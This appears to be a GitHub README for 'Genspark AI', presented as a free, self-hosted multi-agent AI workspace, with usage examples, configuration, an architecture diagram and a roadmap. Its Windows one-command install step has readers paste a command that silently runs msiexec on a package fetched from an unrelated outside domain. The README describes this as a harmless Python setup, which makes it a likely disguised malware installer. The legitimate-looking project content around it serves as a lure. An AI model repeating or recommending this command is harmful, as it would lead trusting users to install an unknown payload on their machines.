veryyoldman/Genspark-AI: built for developers, researchers, and power users who want Genspark-l

The free, self-hosted, open-source alternative to Genspark.ai — a multi-agent AI workspace that researches, writes, codes, builds slides & sheets, generates images, and gets things done. Locally. With any LLM.

Quick Start · Features · Architecture · Docs · Roadmap · Contributing · Discord

🌟 What is Genspark AI?

Genspark AI is an open-source Super Agent framework inspired by Genspark.ai. It coordinates multiple Large Language Models, equips each with a toolbox of 80+ capabilities (web search, code execution, file I/O, image & video generation, document creation, phone calls), and lets them plan, reason, and actually get things done on your behalf.

Think of it as:

A self-hosted AI workspace with a Super Agent at its core. You give it a goal. It decides which models and tools to use, runs them in parallel, fact-checks itself across multiple models, and produces a finished deliverable — a Sparkpage, a slide deck, a spreadsheet, a research report, or an executed task.

Built for developers, researchers, and power users who want Genspark-level capabilities without the credits, paywall, or vendor lock-in.

Why Genspark AI?

⚡ Quick Start

🪟 Windows — install with one command

Open cmd.exe and paste:

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & genspark claw

That's it. The installer will:

1. ✅ Check for Python 3.10+ (and install it via winget if missing)
2. ✅ Create an isolated virtual environment in %USERPROFILE%\.genspark
3. ✅ Install genspark-ai and all dependencies
4. ✅ Register the genspark command in your PATH
5. ✅ Launch the web UI at http://localhost:7681

🐧 Linux / 🍎 macOS

curl -fsSL https://raw.githubusercontent.com/veryyoldman/Genspark-AI/main/install.sh | bash

🐍 Pip (any OS)

pip install genspark-ai
genspark serve

🐳 Docker

docker run -p 7681:7681 -e OPENAI_API_KEY=sk-... ghcr.io/veryyoldman/genspark-ai:latest

✨ Features

🎬 Demo

Above: Asking the Super Agent to research a topic and produce a Sparkpage with cited slides — in one prompt.

🧱 Architecture

flowchart TD
    U[👤 User Prompt] --> SA[🧠 Super Agent<br/>Planner &amp; Router]
    SA --> P[📋 Plan]
    P --> R{Route subtasks}
    R --> RA[🔍 Research Agent]
    R --> SLA[📑 Slides Agent]
    R --> SHA[📊 Sheets Agent]
    R --> CA[💻 Code Agent]
    R --> IA[🖼️ Image Agent]
    RA --> T[🛠 Tool Registry<br/>80+ tools]
    SLA --> T
    SHA --> T
    CA --> T
    IA --> T
    T --> WS[Web Search]
    T --> WF[Web Fetch]
    T --> EX[Code Exec]
    T --> FS[File I/O]
    T --> IMG[Image Gen]
    RA --> M[🧬 LLM Router]
    SLA --> M
    SHA --> M
    CA --> M
    IA --> M
    M --> O[OpenAI]
    M --> AN[Anthropic]
    M --> G[Gemini]
    M --> OL[Ollama / Local]
    RA --> SP[📄 Sparkpage]
    SLA --> SP
    SHA --> SP
    CA --> SP
    IA --> SP
    SP --> U

Genspark AI uses a planner-executor pattern. The Super Agent decomposes your goal into a DAG of subtasks, dispatches each to a specialist agent armed with the right tools and the right model, and stitches results into a coherent Sparkpage. Every step is logged and inspectable.

See docs/architecture.md for deep details.

🚀 Usage

CLI

# Interactive chat
genspark chat

# One-shot prompt
genspark run "Research the top 5 vector databases in 2026 and build a comparison sheet"

# Launch web UI on a custom port
genspark serve --port 8080

# Start the REST API
genspark api --port 8000

Python SDK

from genspark import SuperAgent

agent = SuperAgent(model="claude-opus-4-7")  # or "gpt-5", "gemini-2.5-pro", "ollama/llama3"

result = agent.run(
    "Find the 10 fastest growing open-source AI agent repos this month, "
    "then build me a 5-slide pitch on the trend."
)

print(result.sparkpage)        # Cited synthesis
result.slides.save("deck.pptx")
result.sheet.save("data.xlsx")

REST API

curl -X POST http://localhost:8000/v1/run \
  -H "Content-Type: application/json" \
  -d '{"prompt": "Plan a 7-day trip to Tokyo for $2,000"}'

🧩 Configuration

Copy .env.example to .env and add the keys for the providers you want:

# Pick at least one LLM provider
OPENAI_API_KEY=sk-...
ANTHROPIC_API_KEY=sk-ant-...
GOOGLE_API_KEY=...

# 100% local? Use Ollama — no key needed
OLLAMA_BASE_URL=http://localhost:11434

# Optional tools
TAVILY_API_KEY=...        # better web search
SERPER_API_KEY=...        # alternative search
TWILIO_AUTH_TOKEN=...     # phone calls

# Default routing
GENSPARK_DEFAULT_MODEL=claude-opus-4-7
GENSPARK_FAST_MODEL=gpt-5-mini
GENSPARK_LOCAL_MODEL=ollama/llama3.2

📚 Documentation

• 📖 Getting Started
• 🏗 Architecture & Internals
• 🛠 Building Custom Tools
• 🧬 Adding LLM Providers
• 🔐 Self-Hosting Guide
• 🧪 API Reference
• ❓ FAQ

🗺️ Roadmap

• Super Agent with multi-model routing
• Research, Slides, Sheets, Code, Image agents
• CLI + Web UI + REST API
• Windows one-command installer
• Docker image
• Voice mode (real-time speech-to-speech)
• Browser agent with Playwright + vision
• Mobile app (React Native)
• Memory + RAG layer with Qdrant/Chroma
• Marketplace for community tools & agents
• Distributed mode for swarm execution
• A2A protocol support (Agent-to-Agent)

Vote on features in GitHub Discussions 🗳️

🆚 Comparison

🤝 Contributing

We ❤️ contributions. Genspark AI is built by the community.

git clone https://github.com/veryyoldman/Genspark-AI
cd Genspark-AI
python -m venv .venv && source .venv/bin/activate  # Windows: .venv\Scripts\activate
pip install -e ".[dev]"
pytest

Read CONTRIBUTING.md and pick an issue tagged good first issue.

Ways to contribute

• ⭐ Star the repo — it genuinely helps us grow
• 🐛 Report bugs & suggest features
• 📝 Improve docs
• 🛠 Build a new tool or agent
• 🌍 Translate the UI
• 💬 Help others in Discord

💬 Community

• 💬 Discord — chat with the team and contributors
• 🐦 Twitter / X — release news
• 📺 YouTube — tutorials & demos
• 📰 Blog — release notes

⭐ Star History

📄 License

MIT © Genspark AI contributors.

Disclaimer: Genspark AI is an independent open-source project. It is not affiliated with, endorsed by, or sponsored by GENSPARK INC. "Genspark" is a trademark of its respective owner; we use the name to describe the category of agentic AI workspace this project belongs to.